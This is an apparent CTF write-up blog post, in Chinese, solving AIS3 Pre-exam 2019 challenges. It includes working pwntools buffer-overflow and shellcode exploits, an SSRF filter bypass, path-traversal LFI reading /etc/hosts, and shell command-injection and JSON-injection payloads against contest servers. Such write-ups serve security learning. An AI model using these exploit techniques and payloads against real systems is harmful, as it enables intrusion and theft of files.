AIS3 Pre-exam 2019 === Blog version: https://blog.racterub.io/zh-tw/ais3-preexam-2019 ![scoreboard](https://i.imgur.com/eUWoRWR.png) # Pwn ## Welcome BOF 執行 binary 後得到下列文字 `👻 They said there need some easy challenges, Okay here is your bof, but you should notice something in ubuntu 18.04.` 在設置好 ubuntu 18.04 然後用 gdb 追了之後發現使用普通 exploit 方式會導致 binary 在 `xmm` 這個 assembly 直接 sigsegv,所以在跳其他函式的 address 前加一個 `ret gadget` 就好了 Payload: ```python #!/usr/bin/env python from pwn import * r = remote('pre-exam-pwn.ais3.org', 10000) #r = process('./bof') context(arch='amd64', log_level='debug') r.sendlineafter('\n', '\x00'*56 + p64(0x0000000000400546) + p64(0x0000000000400687)) r.interactive() ``` Flag: `AIS3{TOO0O0O0O0OO0O0OOo0o0o0o00_EASY}` ## ORW 簡單的 ORW,就直接上 payload Payload: ```python #!/usr/bin/env python #-*- coding: utf-8 -*- from pwn import * r = remote('pre-exam-pwn.ais3.org', 10001) #r = process('./orw') context(arch='amd64',log_level='debug') elf = ELF('./orw') bss = elf.bss() shellcode = '' shellcode += asm("xor rsi, rsi") shellcode += asm("xor rdx, rdx") shellcode += asm("mov rax, 0x101010101010101") shellcode += asm("push rax") shellcode += asm('mov rax, 0x101010101010101 ^ 0x67616c662f77') shellcode += asm('xor [rsp], rax') shellcode += asm('mov rax, 0x726f2f656d6f682f') shellcode += asm('push rax') shellcode += asm("mov rdi, rsp") shellcode += asm("mov rax, 0x2") shellcode += asm("syscall") #sys_open("/home/orw/flag", 0, 0) shellcode += asm("mov rdi, rax") shellcode += asm("mov rsi, %s" % hex(bss)) shellcode += asm("mov rdx, 0x30") shellcode += asm("xor rax, rax") shellcode += asm("syscall") #sys_read(fd, bss_addr, 0x30) shellcode += asm("mov rax, 0x1") shellcode += asm("mov rdi, 0x1") shellcode += asm("mov rsi, %s" % hex(bss)) shellcode += asm('mov rdx, 0x30') shellcode += asm("syscall") #sys_write(0x1, bss_addr, 0x30) r.sendlineafter("\n", shellcode) raw_input('#') r.sendlineafter('\n', '\x00'*40 + p64(0x6010a0)) print r.recv() ``` Flag: `AIS3{B4by_sh311c0d1ng_yeeeeeeeeeeeeeeeeeee_:)}` # Crypto ## Tcash 這題直接爆開就好 題目: ```python from hashlib import md5,sha256 from secret import FLAG cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890@,- _{}' md5s = [] sha256s = [] for f in FLAG : assert f in cand md5s.append( int(md5(f.encode()).hexdigest(),16)%64 ) sha256s.append( int(sha256(f.encode()).hexdigest(),16)%64 ) # md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15] # sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18] ``` Payload: ```python #!/usr/bin/env python from hashlib import md5, sha256 cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890@,- _{}' md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15] sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18] flag = '' for j in range(0, 168): for i in cand: print i i_md5 = int(md5(i.encode()).hexdigest(), 16)%64 i_sha = int(sha256(i.encode()).hexdigest(), 16)%64 if md5s[j] == i_md5 and sha256s[j] == i_sha: flag += i break print("GETFLAG :)") print flag ``` Flag: `AIS3{0N_May_16th @Sead00g said Heeeee ReMEMBerEd tH4t heee UseD thE SAME set 0f On1iNe to01s to S01Ve Rsa AeS RCA DE5 at T-cat-cup, AnD 7he kEys aRE AlWAys TCat2019Key}` ## RSA202 給了兩組 c, n ``` ((p-1) % r)**2 + ((r**5 - 1) % p)**2 == 0 e : 540283027 n1 : r * next_prime(r) 4147205004274785831839429345273175843810008383684281776384156955313063939697851722599048915934550159810838630817611878938608964209420526101408285259660756614160588966196450613960131 n2 : p * q 189499385569262172381048831002627678457833406616949473781611167836895648351112532451760758894923044508366716475548460943196393766620637826332872415510442646680546430198730964714386926052990241201796617017020451667713101333830492208407718631004518421682360782291861821226356182805817583412265318279246843412363933946907203785948691445560941274338686925872683302618016491004951003983008667634680122187498900609531973366891576697127889237270981441848599459412975574704265978641529529466101397272593427889058331942116451739687911633277991689616166740336532002064837594150778620372921356663633832237154225100165980732425950701958080551278623168272993370001609526634867438997949927388057439319287024933300690778630456923952206291 enc : pow(FLAG1, e, n1) 1381530128905366229835031885023981456155250417226615037320326874456088155891241824286394351504686598020807575296495059981196560321402599060324041112306873501644386932506341759897439 enc : pow(FLAG2, e, n2) 140707322639416047698251987988656851624996420612364458417313556975031926928260994620230402819526867049636870782856159979917800265272030239188402699755346671160152231004482205105848708247326346552857503544647373436454812565553362721157746392553427549801642414716902999579402267404659519821644886491693193213805833150640024188210966690387627927718495600119046377641648420252222832577359835288556915259106349242420185375996603494445374731345308813203766747759356938546946526452742432576477822130704132179704998257468524887132514296404150771137601094599098954349732601437456949710340291117976841757532368528686724239467219905422014324065563266276019549591224395046119238324360770424356549059939445801779363429414873857640198066 ``` 由 `n1 = r * next_prime(r)` 可知 n1 的 |p-q| 極小,故可以用 `Fermat's Factorization method` 來還原 p, q。 得到加密程式的 `r` 之後可以透過推導 `((p-1) % r)**2 + ((r**5 - 1) % p)**2 == 0`,得到 `p` 最後就可以直接解密了 `我是全部都在 ipython 做,所以沒留 script` Flag: `AIS3{S0me7im3s_I_h4tE_factorDB}` # Web ## SimpleWindow 這題我不太知道發生什麼事,我只知道我加了一個 proxy 攔 request 之後 flag 就彈出來了 XD Flag: `AIS3{D0_y0u_kn0w_Serv1ce_W0rker?}` ## Hidden 看原始碼會發現有 `main.019417bd.js` 這個檔案,發現是 `Vue.js` 然後一開始有看到 `flag.js` 的字樣,但是沒用處。 直到看到了一個很像加解密的 function main.019417bd.js: ```javascript var r = function() { return function() { var r = Array.prototype.slice.call(arguments), t = r.shift(); return r.reverse().map(function(r, e) { return String.fromCharCode(r - t - 25 - e) }).join("") }(12, 144, 165, 95, 167, 140, 95, 157, 94, 164, 91, 122, 111, 102) + 4..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function(r) { return String.fromCharCode(r.charCodeAt() + -13) }).join("") + 1234274547001..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function(r) { return String.fromCharCode(r.charCodeAt() + -13) }).join("") + 579..toString(36).toLowerCase() + function() { var r = Array.prototype.slice.call(arguments), t = r.shift(); return r.reverse().map(function(r, e) { return String.fromCharCode(r - t - 44 - e) }).join("") }(18, 190, 127, 170, 113) }; ``` 然後丟去 devtool 的 console 執行就會有 flag 了 Flag: `AIS3{4r3_y0u_4_fr0n73nd_g33k?}` ## d1v1n9 一開始有個 hint 可以點,然後發現在 `?path` 這個參數可以LFI也可以訪問其他伺服器。 洩漏 `index.php` 之後發現有 `FLAG_HINT`,還有一個 ip 檢查,一個 flag 檢查 index.php: ```php if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { // show path of the flag die($_ENV['FLAG_HINT']); } if ($path = @$_GET['path']) { $path = trim($path); if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) { // resolve ip address $ip = gethostbyname($g[1]); // no local request if ($ip == '127.0.0.1' || $ip == '0.0.0.0') die('Do not request to localhost!'); } // no flag in path $path = preg_replace('/flag/i', '', $path); if ($content = @file_get_contents($path, FALSE, NULL, 0, 1000)) { // 由於他只讀 1000 bytes 所以無法讀到全部的內容 ``` 目標就變成先讀到 `FLAG_HINT`,然後看到他檢查 ip 是先用 `gethostbyname` 就可以用 `http://root@127.0.0.1/`用本地端 IP 讀取網頁 詳情請參考橘子大大的 talk: [link](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf) 再利用 `php://filter` 來避免被 flag filter 掃到,最後的 `FLAG_HINT` 是 `FLAG_14d65189669f05d206764c9de441474d.txt`,直接訪問就可以得到 flag ,並且提示了 d1v1n6 deeper 這題 Flag: `AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}` ## d1v1n6 deeper 根據 d1v1n6 得到的提示 `Find the other web server in the internal network.`,故猜測是在其他 ip 而不是 port。 利用 LFI 可以讀到 `/etc/hosts` /etc/hosts: ``` 10:40 $ curl http://pre-exam-web.ais3.org:10103/?path=../../../../../etc/hosts 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.22.0.3 b7fba1715fe6 ``` 發現有 `172.22.0.3` 這一組內部 IP,在手動測試幾次之後會發現事實上有一個 IP `172.22.0.2` server 是 directory lister 觀察了一下似乎是把 GET 參數丟進 bash 裡面跑 `ls`,但是一開始測試一直試不出來,到後面就決定先睡覺明天再說 XDD 隔天再試之後發現可以利用 `';id;'` 就可以進行 command injection,但是如果 URL 有空格會失敗,所以我利用 `${IFS}` 來代替空格 Payload: `';cat${IFS}index.php;'` Flag: `AIS3{y0u_4r3_4bl3_70_d1v3_d33p3r_n3x7_71m3}` # Reverse ## Trivia 開 IDA 就有結果了 Flag: `AIS3{This_is_a_reallllllllllly_boariiing_challenge}` ## Tsaibro 兩組點點作為一組,然後逆向就有 flag 了 Flag: `AIS3{y0u_4re_a_b1g_f4n_0f_tsaibro_n0w}` ## HolyGrenade 先給了一個 `pyc` 檔,用 `uncompyle2` 就可以得到原始碼了 de_grenade.py: ```python # uncompyle6 version 3.3.3 # Python bytecode 3.7 (3394) # Decompiled from: Python 2.7.12 (default, Nov 12 2018, 14:36:49) # [GCC 5.4.0 20160609] # Embedded file name: HolyGrenade.py # Size of source mod 2**32: 829 bytes from secret import flag from hashlib import md5 def OO0o(arg): arg = bytearray(arg, 'ascii') for Oo0Ooo in range(0, len(arg), 4): O0O0OO0O0O0 = arg[Oo0Ooo] iiiii = arg[(Oo0Ooo + 1)] ooo0OO = arg[(Oo0Ooo + 2)] II1 = arg[(Oo0Ooo + 3)] arg[Oo0Ooo + 2] = II1 arg[Oo0Ooo + 1] = O0O0OO0O0O0 arg[Oo0Ooo + 3] = iiiii arg[Oo0Ooo] = ooo0OO return arg.decode('ascii') flag += '0' * (len(flag) % 4) for Oo0Ooo in range(0, len(flag), 4): print(OO0o(md5(bytes(flag[Oo0Ooo:Oo0Ooo + 4])).hexdigest())) ``` 並且題目也有給出程式輸出的 hash flag 每四個字拿去 hash,所以最後我用爆的 (hashd 自己手動慢慢代) Payload: ```python #!/usr/bin/env python3 from hashlib import md5 import sys hashd = "5ae001ebd955475c867617bdb72e7728" #hashd = "d7939cb11edaa9b1fb05efb4e2946f75" #hashd = "f1e8fda6c3ff87e43905ea1690624c64" #hashd = "764d30cb4807c5a870a47b53be6cf662" #hashd = "9cedd8dee7b5b87838d7a9bed76df8e5" #hashd = "7d1c09bbf2025facf6bd0fec0ec6a780" #hashd = "33e4500b205b80e52dd52e796cba8b7d" alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}" def OO0o(arg): arg = bytearray(arg, 'ascii') for i in range(0, len(arg), 4): a = arg[i] b = arg[(i + 1)] c = arg[(i + 2)] d = arg[(i + 3)] arg[i + 2] = d arg[i + 1] = a arg[i + 3] = b arg[i] = c return arg.decode('ascii') #FLAG => AIS3{...}00000.. padding to align 4n # #flag += '0' * (len(flag) % 4) #for i in range(0, len(flag), 4): for i in alpha: for k in alpha: for j in alpha: for m in alpha[-1]: test = i+k+j+m print("testing: ", test) data = OO0o(md5(bytes(test, "utf-8")).hexdigest()) if data == hashd: sys.exit() ``` Flag: `AIS3{7here_15_the_k1ll3r_ra661t}` # Misc ## KcufsJ 如題目名,是 KcufsJ (x 事實上就是 jsfuck ,只不過把 jsfuck 的內容倒過來 利用 linux 的 `rev` 指令,直接把檔案的每一個字都顛倒,再拿去 devtool 執行就好了 Flag: `AIS3{R33v33rs33_JSFUCKKKKKK}` ## Welcome 簽到題 ## Are you admin 簡單來說就是 JSONI Payload: ``` Your name: a", "is_admin":"yes", "test":{"a":"b Your age: "}, "1":"1 ``` Flag: `AIS3{RuBy_js0n_i5_s0_w3ird_0_o}` ## Pysh 發現並沒有過濾 `$` 和大小寫,所以可以利用 `$SHELL` 來執行任意指令 Flag: `AIS3{read;$REPLY}` ## Crystal Maze 就....手動硬幹 XDD Payload: ```python #!/usr/bin/env python from pwn import * r = remote('pre-exam-chals.ais3.org', 10202) choice = {"1": "left", "2": 'right', '3': 'up', '4': 'down'} route = [2, 3, 3, 3, 3, 1, 3, 3, 2, 2, 2, 4, 4, 4, 4, 4, 4, 2, 2, 2, 3, 2, 3, 2, 2, 2, 2, 3, 3, 2, 2, 4, 4, 4, 2, 2, 3, 3, 3, 3, 3, 3, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3] for i in route: r.sendlineafter('move: ', choice[str(i)]) print r.recv() ``` Flag: 我忘記留了 QQ